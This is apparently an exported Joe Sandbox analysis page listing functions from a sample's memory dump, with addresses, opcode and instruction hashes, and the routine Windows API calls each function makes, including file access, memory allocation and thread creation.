Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004143A1 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004143D6

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction ID: cd62177f8338b91460b71a425ed9147b2bdb3dfef56ead52da7ce74447b44359
Opcode Fuzzy Hash: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction Fuzzy Hash: FEF0903260010CBB9B11AF55C8418FFB76DEF91764704802FFC189B301D679EE8187A4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(005F91C8,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(005F91C8), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
